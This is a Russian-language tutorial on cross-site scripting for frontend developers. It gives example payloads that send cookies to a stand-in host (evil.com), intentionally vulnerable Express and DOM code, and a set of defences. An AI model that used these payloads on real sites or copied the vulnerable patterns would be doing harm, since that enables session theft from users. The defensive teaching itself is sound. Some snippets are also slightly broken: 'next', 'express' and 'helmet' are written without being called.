XSS (Cross-Site Scripting)

XSS — атака, при которой злоумышленник внедряет вредоносный JavaScript в веб-страницу, которую видят другие пользователи.

Зачем нужно

XSS — одна из самых распространённых уязвимостей веба (OWASP Top 10). Через неё крадут куки, перенаправляют пользователей на фишинговые сайты, подменяют контент страницы, выполняют действия от имени жертвы. Каждый фронтенд-разработчик обязан понимать XSS и уметь защищаться.

Где используется

Любое веб-приложение, принимающее пользовательский ввод: комментарии, формы, поиск, профили, чаты. Фреймворки (React, Vue, Angular) защищают от базовых XSS, но не от всех.

Предпосылки

HTML, JavaScript, DOM, HTTP-заголовки

Как работает XSS

1. Злоумышленник отправляет вредоносный ввод:
   <script>document.location='https://evil.com/?c='+document.cookie</script>

2. Сервер сохраняет или отражает ввод БЕЗ очистки

3. Жертва открывает страницу → браузер выполняет скрипт

4. Скрипт крадёт куки, токены, данные

3 типа XSS

1. Stored XSS (Хранимый)

Скрипт сохраняется на сервере (в БД) и выполняется у каждого посетителя.

// Пользователь отправляет комментарий:
const comment = '<img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)">';

// Сервер сохраняет в БД как есть
// При отображении:
element.innerHTML = comment; // ОПАСНО! Скрипт выполнится

Пример сценария:

  • Злоумышленник оставляет комментарий с <script> на форуме
  • Каждый пользователь, открывший страницу, выполняет скрипт
  • Скрипт отправляет cookies злоумышленнику

2. Reflected XSS (Отражённый)

Скрипт не хранится, а передаётся через URL и «отражается» в ответе сервера.

// Злоумышленник отправляет ссылку:
https://shop.com/search?q=<script>alert('XSS')</script>

// Сервер возвращает:
<p>Результаты для: <script>alert('XSS')</script></p>
// Node.js/Express — уязвимый код
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(`<h1>Результаты для: ${query}</h1>`); // ОПАСНО!
});

3. DOM-based XSS

Скрипт никогда не отправляется на сервер. Уязвимость целиком на клиенте.

// URL: https://app.com/#<img src=x onerror=alert('XSS')>

// Уязвимый клиентский код:
const hash = location.hash.substring(1);
document.getElementById('content').innerHTML = hash; // ОПАСНО!

// Ещё примеры уязвимых «стоков» (sinks):
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);
location.href = userInput;

Защита от XSS

1. Экранирование (Escaping)

// Функция экранирования HTML
function escapeHtml(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;',
  };
  return str.replace(/[&<>"']/g, (char) => map[char]);
}

// Использование
const userComment = '<script>alert("XSS")</script>';
element.innerHTML = escapeHtml(userComment);
// Результат: &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;
// Отображается как текст, не выполняется

2. textContent вместо innerHTML

// ОПАСНО:
element.innerHTML = userInput;

// БЕЗОПАСНО:
element.textContent = userInput; // Всегда вставляет как текст

3. Санитизация (DOMPurify)

import DOMPurify from 'dompurify';

// Пользователь может использовать HTML (комментарии с форматированием)
const dirty = '<b>Жирный</b><script>alert("XSS")</script><img src=x onerror=alert(1)>';
const clean = DOMPurify.sanitize(dirty);
// Результат: '<b>Жирный</b>'  — скрипт и опасные атрибуты удалены

element.innerHTML = clean;

4. Content Security Policy (CSP)

<!-- HTTP-заголовок или meta-тег -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self'; style-src 'self'">
// Express.js
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'"
  );
  next;
});

CSP запрещает выполнение inline-скриптов и загрузку скриптов с чужих доменов.

5. HttpOnly cookies

// Сервер устанавливает cookie с флагом HttpOnly
res.cookie('session', token, {
  httpOnly: true,  // JavaScript НЕ может прочитать этот cookie
  secure: true,    // Только через HTTPS
  sameSite: 'Strict',
});

// Даже если XSS сработает, document.cookie не покажет session

6. Защита в React

// React автоматически экранирует:
const userInput = '<script>alert("XSS")</script>';
return <div>{userInput}</div>;
// Рендерится как текст, не как HTML

// ОПАСНО: dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;
// Используй ТОЛЬКО с DOMPurify:
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} />;

7. Серверная защита (Express)

// Экранирование на сервере
const express = require('express');
const helmet = require('helmet');

const app = express;

// Helmet автоматически ставит безопасные заголовки
app.use(helmet);

// Ручная санитизация ввода
const xss = require('xss');
app.post('/comment', (req, res) => {
  const clean = xss(req.body.comment);
  db.saveComment(clean);
});

Чек-лист защиты от XSS

Мера Тип XSS Приоритет
textContent вместо innerHTML Все Высокий
DOMPurify для HTML-контента Stored, DOM Высокий
CSP заголовки Все Высокий
HttpOnly cookies Stored, Reflected Высокий
Экранирование на сервере Stored, Reflected Высокий
Валидация ввода Все Средний
Helmet (Express) Все Средний

Частые ошибки

1. Доверие пользовательскому вводу

// ПЛОХО: вставка ввода без проверки
app.get('/profile', (req, res) => {
  res.send(`<h1>Привет, ${req.query.name}!</h1>`);
});

// ХОРОШО: экранирование
app.get('/profile', (req, res) => {
  res.send(`<h1>Привет, ${escapeHtml(req.query.name)}!</h1>`);
});

2. Только клиентская валидация

// Клиентскую валидацию можно обойти через DevTools или curl
// ВСЕГДА валидируй и на сервере!

3. innerHTML в обработчиках событий

// ПЛОХО:
input.addEventListener('input', (e) => {
  preview.innerHTML = e.target.value;
});

// ХОРОШО:
input.addEventListener('input', (e) => {
  preview.textContent = e.target.value;
});

Практика

  1. Создай HTML-страницу с полем ввода. Попробуй ввести <img src=x onerror=alert(1)> и вставить через innerHTML. Потом замени на textContent.
  2. Установи DOMPurify и протестируй санитизацию: <b>ok</b><script>bad</script>
  3. Настрой CSP-заголовок в Express-приложении, запрещающий inline-скрипты
  4. Напиши middleware для Express, который экранирует query-параметры

Связанные темы

Ресурсы